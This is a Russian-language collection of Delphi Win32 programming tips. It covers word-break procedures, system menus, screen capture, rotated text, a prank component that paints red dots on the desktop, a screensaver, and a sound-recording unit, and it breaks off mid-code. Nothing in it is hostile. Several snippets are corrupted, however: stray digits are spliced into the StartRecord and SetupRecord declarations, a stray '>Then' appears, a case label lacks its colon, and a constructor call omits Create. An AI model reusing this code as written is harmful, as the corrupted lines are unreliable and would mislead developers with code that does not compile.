(Sender as TRichEdit).SelAttributes.Style+[fsStrikeout];
end;
KEY_CTRL_U:
begin
Key := #0;
if fsUnderline in (Sender as TRichEdit).SelAttributes.Style then
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style-[fsUnderline]
else
(Sender as TRichEdit).SelAttributes.Style :=
(Sender as TRichEdit).SelAttributes.Style+[fsUnderline];
end;
end;
end;
Как создание нестандартную процедуру разбиения слов при переносах для TEdit, TMemo или TRichEdit?
В следующем примере создается процедура разбиения слов при переносах для TMemo. Заметьте, что
реализованная процедура просто всегда разрешает перенос. Для дополнительной информации см.таже
документацию к сообщению EM_SETWORDBREAKPROC.
var
OriginalWordBreakProc : pointer;
NewWordBreakProc : pointer;
function MyWordBreakProc(LPTSTR : pchar;
ichCurrent : integer;
cch : integer;
code : integer) : integer
{$IFDEF WIN32} stdcall; {$ELSE} ; export; {$ENDIF}
begin
result := 0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
OriginalWordBreakProc := Pointer(
SendMessage(Memo1.Handle,
EM_GETWORDBREAKPROC,
0,
0));
{$IFDEF WIN32}
NewWordBreakProc := @MyWordBreakProc;
{$ELSE}
NewWordBreakProc := MakeProcInstance(@MyWordBreakProc,
hInstance);
{$ENDIF}
SendMessage(Memo1.Handle,
EM_SETWORDBREAKPROC,
0,
longint(NewWordBreakProc));
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
SendMessage(Memo1.Handle,
EM_SETWORDBREAKPROC,
0,
longint(@OriginalWordBreakProc));
{$IFNDEF WIN32}
FreeProcInstance(NewWordBreakProc);
{$ENDIF}
end;
Как добавить пункт к системному меню приложения?
Последнее изменение: 08 сен 2001 (суббота), 23:49:02
Как добавить пункт к системному меню приложения?
Пример:
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
procedure WMSysCommand(var Msg: TWMSysCommand);
message WM_SYSCOMMAND;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
const
SC_MyMenuItem = WM_USER + 1;
procedure TForm1.FormCreate(Sender: TObject);
begin
AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Handle, FALSE),
MF_STRING,
SC_MyMenuItem,
'My Menu Item');
end;
procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if Msg.CmdType = SC_MyMenuItem then
ShowMessage('Got the message') else
inherited;
end;
Рабочий стол перекрыт сверху компонентом ListView.
Вам просто необходимо взять хэндл этого органа управления. Пример:
function GetDesktopListViewHandle: THandle;
var
S: String;
begin
Result := FindWindow('ProgMan', nil);
Result := GetWindow(Result, GW_CHILD);
Result := GetWindow(Result, GW_CHILD);
SetLength(S, 40);
GetClassName(Result, PChar(S), 39);
if PChar(S) <> 'SysListView32' then Result := 0;
end;
После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView,определенный в модуле CommCtrl, для того, чтобы
манипулировать рабочим столом.Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32.
К примеру, следующая строка кода:
SendMessage( GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0 );
разместит иконки рабочего стола по левой стороне рабочего стола Windows.
(Borland FAQ N687, переведен Акжаном Абдулиным)
Функция GetNumColors возвращает количество цветов для актуально выбранного разрешения экрана.
function GetNumColors: LongInt;
var
BPP: Integer;
DC: HDC;
begin
DC := CreateDC('DISPLAY', nil, nil, nil);
if DC <> 0 then begin
try
BPP := GetDeviceCaps(DC, BITPIXEL) * GetDeviceCaps(DC, PLANES);
finally
DeleteDC(DC);
end;
case BPP of
1: Result := 2;
4: Result := 16;
8: Result := 256;
15: Result := 32768;
16: Result := 65536;
24: Result := 16777216;
end;
end else
Result := 0;
end;
unit ScrnCap;
interface
uses WinTypes, WinProcs, Forms, Classes, Graphics, Controls;
{ Копирует прямоугольную область экрана }
function CaptureScreenRect(ARect : TRect) : TBitmap;
{ Копирование всего экрана }
function CaptureScreen : TBitmap;
{ Копирование клиентской области формы или элемента }
function CaptureClientImage(Control : TControl) : TBitmap;
{ Копирование всей формы элемента }
function CaptureControlImage(Control : TControl) : TBitmap;
{===============================================================}
implementation
function GetSystemPalette : HPalette;
var
PaletteSize : integer;
LogSize : integer;
LogPalette : PLogPalette;
DC : HDC;
Focus : HWND;
begin
result:=0;
Focus:=GetFocus;
DC:=GetDC(Focus);
try
PaletteSize:=GetDeviceCaps(DC, SIZEPALETTE);
LogSize:=SizeOf(TLogPalette)+(PaletteSize-1)*SizeOf(TPaletteEntry);
GetMem(LogPalette, LogSize);
try
with LogPalette^ do
begin
palVersion:=$0300;
palNumEntries:=PaletteSize;
GetSystemPaletteEntries(DC, 0, PaletteSize, palPalEntry);
end;
result:=CreatePalette(LogPalette^);
finally
FreeMem(LogPalette, LogSize);
end;
finally
ReleaseDC(Focus, DC);
end;
end;
function CaptureScreenRect(ARect : TRect) : TBitmap;
var
ScreenDC : HDC;
begin
Result:=TBitmap.Create;
with result, ARect do begin
Width:=Right-Left;
Height:=Bottom-Top;
ScreenDC:=GetDC(0);
try
BitBlt(Canvas.Handle, 0,0,Width,Height,ScreenDC, Left, Top, SRCCOPY );
finally
ReleaseDC(0, ScreenDC);
end;
Palette:=GetSystemPalette;
end;
end;
function CaptureScreen : TBitmap;
begin
with Screen do
Result:=CaptureScreenRect(Rect(0,0,Width,Height));
end;
function CaptureClientImage(Control : TControl) : TBitmap;
begin
with Control, Control.ClientOrigin do
result:=CaptureScreenRect(Bounds(X,Y,ClientWidth,ClientHeight));
end;
function CaptureControlImage(Control : TControl) : TBitmap;
begin
with Control do
if Parent=Nil then
result:=CaptureScreenRect(Bounds(Left,Top,Width,Height))
else
with Parent.ClientToScreen(Point(Left, Top)) do
result:=CaptureScreenRect(Bounds(X,Y,Width,Height));
end;
end.
Эта процедура устанавливает угол вывода текста для указанного Canvas, угол в градусах
Шрифт должен быть TrueType !
procedure CanvasSetTextAngle(c: TCanvas; d: single);
var LogRec: TLOGFONT; { Информация о шрифте }
begin
{Читаем текущюю инф. о шрифте }
GetObject(c.Font.Handle,SizeOf(LogRec) ,Addr(LogRec) );
{ Изменяем угол }
LogRec.lfEscapement := round(d*10);
{ Устанавливаем новые параметры }
c.Font.Handle := CreateFontIndirect(LogRec);
end;
Никогда не видели экранного вируса? Представьте, что Ваш экран заболел и покрылся красными пятнами :) А если эта болезнь
нападёт на какое-нибудь окно ? Всё, что нам надо, это получить контекст устройства при помощи API функции GetWindowDC и
рисовать, что душе угодно.
К исходному коду особых комментариев не требуется, скажу лишь только то, что основная часть кода находится в обработчике
события OnTimer:
type
TScreenVirus = class(TComponent)
private
FTimer: TTimer;
FInterval: Cardinal;
FColor: TColor;
FRadius: Integer;
protected
procedure OnTimer (Sender: TObject);
procedure SetInterval (Value: Cardinal);
public
constructor Create (AOwner: TComponent); override;
procedure StartInfection;
published
property Interval: Cardinal
read FInterval write SetInterval;
property Color: TColor
read FColor write FColor default clRed;
property Radius: Integer
read FRadius write FRadius default 10;
end;
constructor TScreenVirus.Create (AOwner: TComponent);
begin
inherited Create (AOwner);
FTimer := TTimer.Create (Owner);
FInterval := FTimer.Interval;
FTimer.Enabled := False;
FTimer.OnTimer := OnTimer;
FColor := clRed;
FRadius := 10;
end;
procedure TScreenVirus.StartInfection;
begin
if Assigned (FTimer) then
FTimer.Enabled := True;
end;
procedure TScreenVirus.SetInterval (Value: Cardinal);
begin
if Value <> FInterval then
begin
FInterval := Value;
FTimer.Interval := Interval;
end;
end;
procedure TScreenVirus.OnTimer (Sender: TObject);
var
hdcDesk: THandle;
Brush: TBrush;
X, Y: Integer;
begin
hdcDesk := GetWindowDC (GetDesktopWindow);
Brush := TBrush.Create;
Brush.Color := FColor;
SelectObject (hdcDesk, Brush.Handle);
X := Random (Screen.Width);
Y := Random (Screen.Height);
Ellipse (hdcDesk, X - FRadius, Y - FRadius,
X + FRadius, Y + FRadius);
ReleaseDC (hdcDesk, GetDesktopWindow);
Brush.Free;
end;
Хранитель экрана (ScreenSaver) в Windows это программа, размещенная в каталоге Windows или Windows\System. Расширение эта
программа должна иметь scr. При запуске ScreenSaver должен реагировать на параметры. Если первый параметр "/p", нужно создать
окно предварительного просмотра. Если первый параметр "/s", нужно запустить сам ScreenSaver. В ином случае нужно показать
окно настроек хранителя экрана.
Для предварительного просмотра Windows создает окно, на месте которого ScreenSaver должен что-то рисовать. Чтобы отслеживать
сообщения о перерисовке окна Preview, а также о его перемещении и закрытии, нужно создать дочернее окно в том же месте и такого
же размера. Для этого нужно использовать WinAPI. Цикл, в котором обрабатываются сообщения, удобно сделать через PeekMessage,
поскольку в этом случае можно создать событие OnIdle. В нем нужно рисовать что-то в окне предварительного просмотра.
Окно самого ScreenSaver-а можно делать без WinAPI. Для реагирования на события мыши и клавиатуры лучше всего использовать
событие OnMessage. Чтобы ScreenSaver работал в фоновом режиме рисовать нужно в обработчике события OnIdle. Причем каждый
раз нужно выполнять быструю операцию. Поскольку в окне ScreenSaver-а и в окне предварительного просмотра должно рисоваться
одно и то же, удобно сделать единую процедуру, которая бы выполняла короткое действие. В качестве параметров ей нужно
сообщать Canvas, высоту и ширину.
Поскольку, если программе не передаются никакие параметры, запускается окно настроек, то при его создании нужно проверять, где
на винчестере находится программа. Если она находится не в каталоге Windows, то нужно скопировать файл, сменив расширение на
scr.
В первом модуле находится окно хранителя экрана: ...
public
procedure OnMessage(var Msg: TMsg; var Handled: Boolean);
procedure OnIdle(Sender: TObject; var Done: Boolean);
end;
var
Form1: TForm1;
r, g, b: integer;
po: TPoint;
IniFileName: string;
procedure Draw(Canvas: TCanvas; var r, g, b: integer;
width, height: integer);
implementation
{$R *.DFM}
uses IniFiles;
procedure Draw(Canvas: TCanvas; var r, g, b: integer;
width, height: integer);
begin
with Canvas do begin
r := r + random(3) - 1;
if r < 0 then r := 0;
if r > 255 then r := 255;
g := g + random(3) - 1;
if g < 0 then g := 0;
if g > 255 then g := 255;
b := b + random(3) - 1;
if b < 0 then b := 0;
if b > 255 then b := 255;
Pen.Color := RGB(r, g, b);
LineTo(random(width), random(height));
end;
end;
procedure TForm1.OnMessage(var Msg: TMsg; var Handled: Boolean);
begin
case Msg.message of
WM_KEYDOWN, WM_KEYUP,
WM_SYSKEYDOWN, WM_SYSKEYUP,
WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
: Close;
WM_MOUSEMOVE: begin
if (msg.pt.x <> po.x) or (msg.pt.y <> po.y) then Close;
end;
end;
end;
procedure TForm1.OnIdle(Sender: TObject; var Done: Boolean);
begin
Draw(Canvas, r, g, b, Width, Height);
Done := false;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ini: TIniFile;
begin
Application.OnMessage := OnMessage;
Application.OnIdle := OnIdle;
{Эти два свойства можно установить при помощи Object Inspector}
BorderStyle := bsNone;
WindowState := wsMaximized;
ShowCursor(false);
GetCursorPos(po);
ini := TIniFile.Create(IniFileName);
if ini.ReadBool('settings', 'clear', true)
then Brush.Color := clBlack
else Brush.Style := bsClear;
ini.Destroy;
end;
Окно настроек:
...
{$R *.DFM}
uses IniFiles, Unit1;
procedure TForm2.FormCreate(Sender: TObject);
var
buf: array [0..127] of char;
ini: TIniFile;
begin
GetWindowsDirectory(buf, sizeof(buf));
if pos(UpperCase(buf), UpperCase(ExtractFilePath(ParamStr(0)))) <= 0 then begin
if not CopyFile(PChar(ParamStr(0)), PChar(buf + '\MyScrSaver.scr'), false)
then ShowMessage('Can not copy the file');
end;
ini := TIniFile.Create(IniFileName);
CheckBox1.Checked := ini.ReadBool('settings', 'clear', true);
ini.Destroy;
{Эти три свойства можно установить при помощи Object Inspector}
Button1.Caption := 'OK';
Button2.Caption := 'Cancel';
CheckBox1.Caption := 'Clear screen';
end;
procedure TForm2.Button1Click(Sender: TObject);
var
ini: TIniFile;
begin
ini := TIniFile.Create(IniFileName);
ini.WriteBool('settings', 'clear', CheckBox1.Checked);
ini.Destroy;
Close;
end;
procedure TForm2.Button2Click(Sender: TObject);
begin
Close;
end;
Файл с самой программой (dpr). Чтобы открыть его выберите Project | View Source.
program Project1;
uses Forms, Graphics, Windows, Messages,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
var
PrevWnd: hWnd;
rect: TRect;
can: TCanvas;
procedure Paint;
begin
Draw(can, r, g, b, rect.Right - rect.Left, rect.Bottom - rect.Top);
end;
function MyWndProc(wnd: hWnd; msg: integer; wParam, lParam: longint): integer; stdcall;
begin
case Msg of WM_DESTROY:
begin
PostQuitMessage(0);
result := 0;
end;
WM_PAINT
begin
paint;
result := DefWindowProc(Wnd, Msg, wParam, lParam);
end;
else
result := DefWindowProc(Wnd, Msg, wParam, lParam);
end;
end;
procedure Preview;
const
ClassName = 'MyScreenSaverClass'#0;
var
parent: hWnd;
WndClass: TWndClass;
msg: TMsg;
code: integer;
begin
val(ParamStr(2), parent, code);
if (code <> 0) or (parent <= 0) then Exit;
with WndClass do begin
style := CS_PARENTDC;
lpfnWndProc := addr(MyWndProc);
cbClsExtra := 0;
cbWndExtra := 0;
hIcon := 0;
hCursor := 0;
hbrBackground := 0;
lpszMenuName := nil;
lpszClassName := ClassName;
end;
WndClass.hInstance := hInstance;
Windows.RegisterClass(WndClass);
GetWindowRect(Parent, rect);
PrevWnd := CreateWindow(ClassName, 'MyScreenSaver',
WS_CHILDWINDOW or WS_VISIBLE or WS_BORDER, 0, 0, rect.Right - rect.Left,
rect.Bottom - rect.Top, Parent, 0, hInstance, nil);
can := TCanvas.Create;
can.Handle := GetDC(PrevWnd);
can.Brush.Color := clBlack;
can.FillRect(rect);
repeat
if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then begin
if Msg.Message = WM_QUIT then break;
TranslateMessage(Msg);
DispatchMessage(Msg);
end else Paint;
until false;
ReleaseDC(PrevWnd, can.Handle);
can.Destroy;
end;
var
c: char;
buf: array [0..127] of char;
begin
GetWindowsDirectory(buf, sizeof(buf));
IniFileName := buf + '\myinifile.ini';
if (ParamCount >= 1) and (Length(ParamStr(1)) > 1)
then c := UpCase(ParamStr(1)[2])
else c := #0;
case c of
'P': Preview;
'S': begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
else begin
Application.Initialize;
Application.CreateForm(TForm2, Form2);
Application.Run;
end;
end;
end.
Для
этого можно использовать следующую функцию:
function RunScreenSaver : bool;
var
b : boolean;
begin
result := false;
if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,@b,0) <> true then exit;
if not b then exit;
PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
result := true;
end;
Сначала мы проверяем, установлен ли Screen Saver, если нет -
возвращаемся с отрицательным ответом, в противном случае -
запускаем его и возвращаем true.
Ниже приведен код, обрабатывающий аудиосигнал, получаемый со входа звуковой карты (SoundBlaster). Надеюсь он поможет
разобраться вам с этой сложной темой.
Включенный в код модуль RECUNIT делает всю изнурительную работу по извлечению звука со входа звуковой карты.
--------------------------------------------------------------------------------
Var
WaveRecorder : TWaveRecorder;
WaveRecorder := TwaveRecorder(2048, 4); // 4 размером 2048 байт
{ Устанавливает параметры дискретизации }
With WaveRecorder.pWavefmtEx Do
Begin
wFormatTag := WAVE_FORMAT_PCM;
nChannels := 1;
nSamplesPerSec := 20000;
wBitsPerSample := 16;
nAvgBytesPerSec := nSamplesPerSec*(wBitsPerSample div 8)*nChannels;
End;
// Затем используем вариантную запись, поскольку я не знаю
// как получить адрес самого объекта
WaveRecorder.SetupRecord(@WaveRecorder);
// Начинаем запись
WaveRecorder.StartRecord;
... При каждом заполнении буфера вызывается
процедура WaveRecorder.Processbuffer.
// Заканчиваем запись
WaveRecorder.StopRecord;
WaveRecorder.Destroy;
--------------------------------------------------------------------------------
{
Имя файла: RECUNIT.PAS V 1.01
Создан: Авг 19 1996 в 21:56 на IBM ThinkPad
Ревизия #7: Авг 22 1997, 15:01 на IBM ThinkPad
-John Mertus
Данный модуль содержит необходимые процедуры для записи звука.
Версия 1.00 - первый релиз
1.01 - добавлен TWaveInGetErrorText
}
{-----------------Unit-RECUNIT---------------------John Mertus---Авг 96---}
Unit RECUNIT;
--------------------------------------------------------------------------------
Interface
Uses
Windows, MMSystem, SysUtils, MSACM;
{ Ниже определен класс TWaveRecorder для обслуживания входа звуковой }
{ карты. Ожидается, что новый класс будет производным от TWaveRecorder }
{ и перекроет TWaveRecorder.ProcessBuffer. После начала записи данная }
{ процедура вызывается каждый раз при наличии в буфере аудио-данных. }
Const
MAX_BUFFERS = 8;
type
PWaveRecorder = ^TWaveRecorder;
TWaveRecorder = class(TObject)
Constructor Create(BfSize, TotalBuffers : Integer);
Destructor Destroy; Override;
Procedure ProcessBuffer(uMsg : Word; P : Pointer; n : Integer);
Virtual;
private
fBufferSize : Integer; // Размер буфера
BufIndex : Integer;
fTotalBuffers : Integer;
pWaveHeader : Array [0..MAX_BUFFERS-1] of PWAVEHDR;
hWaveHeader : Array [0..MAX_BUFFERS-1] of THANDLE;
hWaveBuffer : Array [0..MAX_BUFFERS-1] of THANDLE;
hWaveFmtEx : THANDLE;
dwByteDataSize : DWORD;
dwTotalWaveSize : DWORD;
RecordActive : Boolean;
bDeviceOpen : Boolean;
{ Внутренние функции класса }
Function InitWaveHeaders : Boolean;
Function AllocPCMBuffers : Boolean;
Procedure FreePCMBuffers;
Function AllocWaveFormatEx : Boolean;
Procedure FreeWaveFormatEx;
Function AllocWaveHeaders : Boolean;
Procedure FreeWaveHeader;
Function AddNextBuffer : Boolean;
Procedure CloseWaveDeviceRecord;
public
{ Public declarations }
pWaveFmtEx : PWaveFormatEx;
WaveBufSize : Integer; // Размер поля nBlockAlign
InitWaveRecorder : Boolean;
RecErrorMessage : String;
QueuedBuffers,
ProcessedBuffers : Integer;
pWaveBuffer : Array [0..MAX_BUFFERS-1] of lpstr;
WaveIn : HWAVEIN; { Дескриптор Wav-устройства }
Procedure StopRecord;
Function 477576218068StartRecord : Boolean;
Function477576218068 SetupRecord(P : PWaveRecorder) : Boolean;
end;
--------------------------------------------------------------------------------
implementation
{-------------TWaveInGetErrorText-----------John Mertus---14-Июнь--97--}
Function TWaveInGetErrorText(iErr : Integer) : String;
{ Выдает сообщения об ошибках WaveIn в формате Pascal }
{ iErr - номер ошибки }
--------------------------------------------------------------------------------
Var
PlayInErrorMsgC : Array [0..255] of Char;
Begin
waveInGetErrorText(iErr,PlayInErrorMsgC,255);
TWaveInGetErrorText := StrPas(PlayInErrorMsgC);
End;
{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.AllocWaveFormatEx : Boolean;
{ Распределяем формат большого размера, требуемый для инсталляции ACM-в}
--------------------------------------------------------------------------------
Var
MaxFmtSize : UINT;
BEGIN
{ maxFmtSize - сумма sizeof(WAVEFORMATEX) + pwavefmtex.cbSize }
If( acmMetrics( 0, ACM_METRIC_MAX_SIZE_FORMAT, maxFmtSize ) <> 0) >Then
Begin
RecErrorMessage := 'Ошибка получения размера формата максимального сжатия';
AllocWaveFormatEx := False;
Exit;
End;
{ распределяем структуру WAVEFMTEX }
hWaveFmtEx := GlobalAlloc(GMEM_MOVEABLE, maxFmtSize);
If (hWaveFmtEx = 0) Then
Begin
RecErrorMessage := 'Ошибка распределения памяти для структуры WaveFormatEx';
AllocWaveFormatEx := False;
Exit;
End;
pWaveFmtEx := PWaveFormatEx(GlobalLock(hWaveFmtEx));
If (pWaveFmtEx = Nil) Then
Begin
RecErrorMessage := 'Ошибка блокировки памяти WaveFormatEx';
AllocWaveFormatEx := False;
Exit;
End;
{ инициализация формата в стандарте PCM }
ZeroMemory( pwavefmtex, maxFmtSize );
pwavefmtex.wFormatTag := WAVE_FORMAT_PCM;
pwavefmtex.nChannels := 1;
pwavefmtex.nSamplesPerSec := 20000;
pwavefmtex.nBlockAlign := 1;
pwavefmtex.wBitsPerSample := 16;
pwavefmtex.nAvgBytesPerSec := pwavefmtex.nSamplesPerSec*
(pwavefmtex.wBitsPerSample div 8)*pwavefmtex.nChannels;
pwavefmtex.cbSize := 0;
{ Все успешно, идем домой }
AllocWaveFormatEx := True;
end;
{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.InitWaveHeaders : Boolean;
{ Распределяем память, обнуляем заголовок wave и инициализируем }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
{ делаем размер буфера кратным величине блока... }
WaveBufSize := fBufferSize - (fBufferSize mod pwavefmtex.nBlockAlign);
{ Устанавливаем wave-заголовки }
For i := 0 to fTotalBuffers-1 Do
With pWaveHeader[i]^ Do
Begin
lpData := pWaveBuffer[i]; // адрес буфера waveform
dwBufferLength := WaveBufSize; // размер, в байтах, буфера
dwBytesRecorded := 0; // смотри ниже
dwUser := 0; // 32 бита данных пользователя
dwFlags := 0; // смотри ниже
dwLoops := 0; // смотри ниже
lpNext := Nil; // зарезервировано; должен быть ноль
reserved := 0; // зарезервировано; должен быть ноль
End;
InitWaveHeaders := TRUE;
END;
{-------------AllocWaveHeader----------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.AllocWaveHeaders : Boolean;
{ Распределяем и блокируем память заголовка }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
For i := 0 to fTotalBuffers-1 Do
begin
hwaveheader[i] := GlobalAlloc( GMEM_MOVEABLE or GMEM_SHARE or
GMEM_ZEROINIT, sizeof(TWAVEHDR));
if (hwaveheader[i] = 0) Then
begin
{ Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
RecErrorMessage := 'Ошибка распределения памяти для wave-заголовка';
AllocWaveHeaders := FALSE;
Exit;
end;
pwaveheader[i] := GlobalLock (hwaveheader[i]);
If (pwaveheader[i] = Nil ) Then
begin
{ Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
RecErrorMessage := 'Не могу заблокировать память заголовка для записи';
AllocWaveHeaders := FALSE;
Exit;
end;
End;
AllocWaveHeaders := TRUE;
END;
{---------------FreeWaveHeader---------------John Mertus---14-Июнь--97--}
Procedure TWaveRecorder.FreeWaveHeader;
{ Просто освобождаем распределенную AllocWaveHeaders память. }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
For i := 0 to fTotalBuffers-1 Do
begin
If (hWaveHeader[i] <> 0) Then
Begin
GlobalUnlock(hwaveheader[i]);
GlobalFree(hwaveheader[i]);
hWaveHeader[i] := 0;
End
end;
END;
{-------------AllocPCMBuffers----------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.AllocPCMBuffers : Boolean;
{ Распределяем и блокируем память waveform. }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
For i := 0 to fTotalBuffers-1 Do
begin
hWaveBuffer[i] := GlobalAlloc( GMEM_MOVEABLE or GMEM_SHARE, fBufferSize );
If (hWaveBuffer[i] = 0) Then
begin
{ Здесь возможна утечка памяти }
RecErrorMessage := 'Ошибка распределения памяти wave-буфера';
AllocPCMBuffers := False;
Exit;
end;
pWaveBuffer[i] := GlobalLock(hWaveBuffer[i]);
If (pWaveBuffer[i] = Nil) Then
begin
{ Здесь возможна утечка памяти }
RecErrorMessage := 'Ошибка блокирования памяти wave-буфера';
AllocPCMBuffers := False;
Exit;
end;
pWaveHeader[i].lpData := pWaveBuffer[i];
End;
AllocPCMBuffers := TRUE;
END;
{--------------FreePCMBuffers----------------John Mertus---14-Июнь--97--}
Procedure TWaveRecorder.FreePCMBuffers;
{ Освобождаем использованную AllocPCMBuffers память. }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
For i := 0 to fTotalBuffers-1 Do
begin
If (hWaveBuffer[i] <> 0) Then
Begin
GlobalUnlock( hWaveBuffer[i] );
GlobalFree( hWaveBuffer[i] );
hWaveBuffer[i] := 0;
pWaveBuffer[i] := Nil;
End;
end;
END;
{--------------FreeWaveFormatEx--------------John Mertus---14-Июнь--97--}
Procedure TWaveRecorder.FreeWaveFormatEx;
{ Просто освобождаем заголовки ExFormat headers }
--------------------------------------------------------------------------------
BEGIN
If (pWaveFmtEx = Nil) Then Exit;
GlobalUnlock(hWaveFmtEx);
GlobalFree(hWaveFmtEx);
pWaveFmtEx := Nil;
END;
{-------------TWaveRecorder.Create------------John Mertus-----Авг--97--}
Constructor TWaveRecorder.Create(BFSize, TotalBuffers : Integer);
{ Устанавливаем wave-заголовки, инициализируем указатели данных и }
{ и распределяем буферы дискретизации }
{ BFSize - размер буфера в байтах }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
Inherited Create;
For i := 0 to fTotalBuffers-1 Do
Begin
hWaveHeader[i] := 0;
hWaveBuffer[i] := 0;
pWaveBuffer[i] := Nil;
pWaveFmtEx := Nil;
End;
fBufferSize := BFSize;
fTotalBuffers := TotalBuffers;
{ распределяем память для структуры wave-формата }
If(Not AllocWaveFormatEx) Then
Begin
InitWaveRecorder := FALSE;
Exit;
End;
{ ищем устройство, совместимое с доступными wave-характеристиками }
If (waveInGetNumDevs < 1 ) Then
Begin
RecErrorMessage := 'Не найдено устройств, способных записывать звук';
InitWaveRecorder := FALSE;
Exit;
End;
{ распределяем память wave-заголовка }
If (Not AllocWaveHeaders) Then
Begin
InitWaveRecorder := FALSE;
Exit;
End;
{ распределяем память буфера wave-данных }
If (Not AllocPCMBuffers) Then
Begin
InitWaveRecorder := FALSE;
Exit;
End;
InitWaveRecorder := TRUE;
END;
{---------------------Destroy----------------John Mertus---14-Июнь--97--}
Destructor TWaveRecorder.Destroy;
{ Просто освобождаем всю память, распределенную InitWaveRecorder. }
--------------------------------------------------------------------------------
BEGIN
FreeWaveFormatEx;
FreePCMBuffers;
FreeWaveHeader;
Inherited Destroy;
END;
{------------CloseWaveDeviceRecord-----------John Mertus---14-Июнь--97--}
Procedure TWaveRecorder.CloseWaveDeviceRecord;
{ Просто освобождаем (закрываем) waveform-устройство. }
--------------------------------------------------------------------------------
Var
i : Integer;
BEGIN
{ если устройство уже закрыто, то выходим }
If (Not bDeviceOpen) Then Exit;
{ работа с заголовками - unprepare }
For i := 0 to fTotalBuffers-1 Do
If (waveInUnprepareHeader(WaveIn, pWaveHeader[i], sizeof(TWAVEHDR)) <> 0 )
Then
RecErrorMessage := 'Ошибка в waveInUnprepareHeader';
{ сохраняем общий объем записи и обновляем показ }
dwTotalwavesize := dwBytedatasize;
{ закрываем входное wave-устройство }
If (waveInClose(WaveIn) <> 0) Then
RecErrorMessage := 'Ошибка закрытия входного устройства';
{ сообщаем вызвавшей функции, что устройство закрыто }
bDeviceOpen := FALSE;
END;
{------------------StopRecord-----------------John Mertus---14-Июнь--97--}
Procedure TWaveRecorder.StopRecord;
{ Останавливаем запись и устанавливаем некоторые флаги. }
--------------------------------------------------------------------------------
Var
iErr : Integer;
BEGIN
RecordActive := False;
iErr := waveInReset(WaveIn);
{ прекращаем запись и возвращаем стоящие в очереди буферы }
If (iErr <> 0) Then
Begin
RecErrorMessage := 'Ошибка в waveInReset';
End;
CloseWaveDeviceRecord;
END;
{--------------AddNextBuffer------------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.AddNextBuffer : Boolean;
{ Добавляем буфер ко входной очереди и переключаем буферный индекс. }
--------------------------------------------------------------------------------
Var
iErr : Integer;
BEGIN
{ ставим буфер в очередь для получения очередной порции данных }
iErr := waveInAddBuffer(WaveIn, pwaveheader[bufindex], sizeof(TWAVEHDR));
If (iErr <> 0) Then
begin
StopRecord;
RecErrorMessage := 'Ошибка добавления буфера' + TWaveInGetErrorText(iErr);
AddNextBuffer := FALSE;
Exit;
end;
{ переключаемся на следующий буфер }
bufindex := (bufindex+1) mod fTotalBuffers;
QueuedBuffers := QueuedBuffers + 1;
AddNextBuffer := TRUE;
END;
{--------------BufferDoneCallBack------------John Mertus---14-Июнь--97--}
Procedure BufferDoneCallBack(
hW : HWAVE; // дескриптор waveform-устройства
uMsg : DWORD; // посылаемое сообщение
dwInstance : DWORD; // экземпляр данных
dwParam1 : DWORD; // определяемый приложением параметр
dwParam2 : DWORD; // определяемый приложением параметр
); stdcall;
{ Вызывается при наличии у wave-устройства какой-либо информации, }
{ например при заполнении буфера }
--------------------------------------------------------------------------------
Var
BaseRecorder : PWaveRecorder;
BEGIN
BaseRecorder := Pointer(DwInstance);
With BaseRecorder^ Do
Begin
ProcessBuffer(uMsg, pWaveBuffer[ProcessedBuffers Mod fTotalBuffers],
WaveBufSize);
If (RecordActive) Then
Case uMsg of
WIM_DATA:
Begin
BaseRecorder.AddNextBuffer;
ProcessedBuffers := ProcessedBuffers+1;
End;
End;
End;
END;
{------------------StartRecord---------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.StartRecord : Boolean;
{ Начало записи. }
{ }
{***********************************************************************}
Var
iErr, i : Integer;
BEGIN
{ начало записи в первый буфер }
iErr := WaveInStart(WaveIn);
If (iErr <> 0) Then
begin
CloseWaveDeviceRecord;
RecErrorMessage := 'Ошибка начала записи wave: ' +
TWaveInGetErrorText(iErr);
end;
RecordActive := TRUE;
{ ставим в очередь следующие буферы }
For i := 1 to fTotalBuffers-1 Do
If (Not AddNextBuffer) Then
Begin
StartRecord := FALSE;
Exit;
End;
StartRecord := True;
END;
{-----------------SetupRecord---------------John Mertus---14-Июнь--97--}
Function TWaveRecorder.SetupRecord(P : PWaveRecorder) : Boolean;
{ Данная функция делает всю работу по созданию waveform-"записывателя". }
--------------------------------------------------------------------------------
Var
iErr, i : Integer;
BEGIN
dwTotalwavesize := 0;
dwBytedatasize := 0;
bufindex := 0;
ProcessedBuffers := 0;
QueuedBuffers := 0;
{ открываем устройство для записи }
iErr := waveInOpen(@WaveIn, WAVE_MAPPER, pWaveFmtEx,
